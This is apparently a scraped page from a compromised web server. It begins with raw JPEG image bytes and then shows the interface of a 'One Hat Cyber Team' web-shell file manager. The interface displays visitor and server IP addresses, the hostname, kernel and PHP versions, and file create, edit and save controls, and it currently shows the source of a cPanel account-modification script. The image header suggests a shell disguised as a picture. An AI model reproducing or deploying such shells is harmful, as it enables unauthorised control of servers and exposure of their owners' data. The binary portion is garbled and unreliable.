����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.133.91.171
Server IP :
139.177.197.176
Server :
Linux host.afriservers.rw 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.4.32
Buat File
|
Buat Folder
Dir :
~
/
proc
/
self
/
root
/
scripts
/
Edit File Name :
modify_accounts
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/modify_accounts Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::modify_accounts; use strict; use warnings; use Cpanel::Config::Constants ('DEFAULT_CPANEL_THEME'); use Cpanel::AcctUtils::Owner (); use Cpanel::Config::LoadUserDomains (); use Cpanel::JSON (); use Cpanel::Logger (); use Cpanel::Reseller (); use Cpanel::SafeRun::Errors (); use Whostmgr::ACLS (); use Getopt::Long (); my $logger = Cpanel::Logger->new(); local $| = 1; exit main(@ARGV) unless caller; sub main { my @args = @_; if ( $> != 0 ) { $logger->die("Sorry, only root can use this script."); } my ( $theme, $users, $help, $all_users, $reseller, $style ); Getopt::Long::GetOptionsFromArray( \@args, 'help' => \$help, 'theme=s' => \$theme, 'all-users' => \$all_users, 'users=s' => \$users, 'all-users-from-reseller=s' => \$reseller, 'style=s' => \$style ) and ( !@args ) or do { usage(); exit 1; }; if ($help) { usage(); exit; } unless ( $theme && ( $all_users || $users || $reseller ) ) { usage(); exit 1; } if ($reseller) { unless ( Cpanel::Reseller::isreseller($reseller) ) { $logger->die("'$reseller' is not a reseller."); } } local $ENV{'REMOTE_USER'} = 'root'; Whostmgr::ACLS::init_acls(); my %userdomains = Cpanel::Config::LoadUserDomains::loadtrueuserdomains( undef, 1 ); my @list_users; if ( $all_users || $reseller ) { @list_users = keys %userdomains; if ($reseller) { @list_users = grep { my $real_owner = Cpanel::AcctUtils::Owner::getowner($_); $real_owner && $real_owner eq $reseller ? 1 : 0 } @list_users; } } else { @list_users = split( /\s*,\s*/, $users ); } my %updated_users; foreach my $user (@list_users) { unless ( exists $userdomains{$user} ) { $logger->warn("User: $user does not exist."); next; } my %modify_opts = ( 'user' => $user, 'CPTHEME' => $theme, ); $modify_opts{'STYLE'} = $style if $style; # Whostmgr::Accounts::Modify does not ship, # we need to use whmapi1 modifyacct instead my $json = Cpanel::SafeRun::Errors::saferunallerrors( '/usr/local/cpanel/bin/whmapi1', '--output', 'json', 'modifyacct', %modify_opts ); my $response = Cpanel::JSON::Load($json); if ( $response->{'metadata'}{'result'} == 0 ) { $logger->warn( "Unable to update data for $user: " . $response->{'metadata'}{'reason'} ); } else { $updated_users{$user} = 1; } } my @failed_accts = grep { !$updated_users{$_} } @list_users; if ( scalar @failed_accts ) { $logger->warn( "Could not update these users: " . join( ', ', @failed_accts ) ); exit 1; } else { $logger->info("Users are successfully updated."); exit 0; } } sub usage { print <<"EOM"; modify_accounts: Modify existing accounts to use a theme or a style Usage: modify_accounts --theme=$Cpanel::Config::Constants::DEFAULT_CPANEL_THEME [--users=user1,another_user|--all-users|--all-users-from-reseller=reseller1] Options: --help: print usage and exit --theme: the theme to be adopted --users: a list of users to be modified, comma separated --all-users: update all users on the system --all-users-from-reseller: update all users that are owned by reseller --style: update specified users to use this style EOM return; }
Save